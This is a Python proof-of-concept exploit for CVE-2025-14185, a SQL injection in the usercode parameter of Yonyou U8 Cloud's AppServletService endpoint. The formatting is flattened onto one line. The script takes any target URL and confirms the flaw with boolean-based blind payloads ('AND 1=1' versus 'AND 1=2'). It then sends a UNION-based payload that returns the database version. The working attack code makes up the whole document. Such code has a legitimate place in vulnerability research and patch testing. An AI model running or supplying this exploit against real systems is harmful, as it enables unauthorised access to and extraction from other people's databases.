CVE-2025-14185 - 用友U8 Cloud AppServletService SQL注入漏洞

import requests import sys # CVE-2025-14185 SQL Injection PoC for Yonyou U8 Cloud # Target: nc/pubitf/erm/mobile/appservice/AppServletService.class # Parameter: usercode def exploit_sqli(target_url, payload): """ Exploit SQL injection via usercode parameter Args: target_url: Base URL of vulnerable Yonyou U8 Cloud server payload: SQL injection payload string Returns: Response content or error message """ endpoint = f"{target_url}/nc/pubitf/erm/mobile/appservice/AppServletService" params = { 'usercode': payload } try: response = requests.get(endpoint, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" def test_blind_sqli(target_url): """ Test for boolean-based blind SQL injection """ # True condition payload true_payload = "admin' AND 1=1--" # False condition payload false_payload = "admin' AND 1=2--" true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp != false_resp: print("[+] Blind SQL injection confirmed!") return True return False def extract_db_version(target_url): """ Extract database version using UNION-based injection """ payload = "admin' UNION SELECT @@version--" return exploit_sqli(target_url, payload) def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_14185.py <target_url>") print("Example: python cve_2025_14185.py http://vulnerable-server:80") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-14185 on {target}") if test_blind_sqli(target): print("[*] Database version:", extract_db_version(target)) if __name__ == "__main__": main()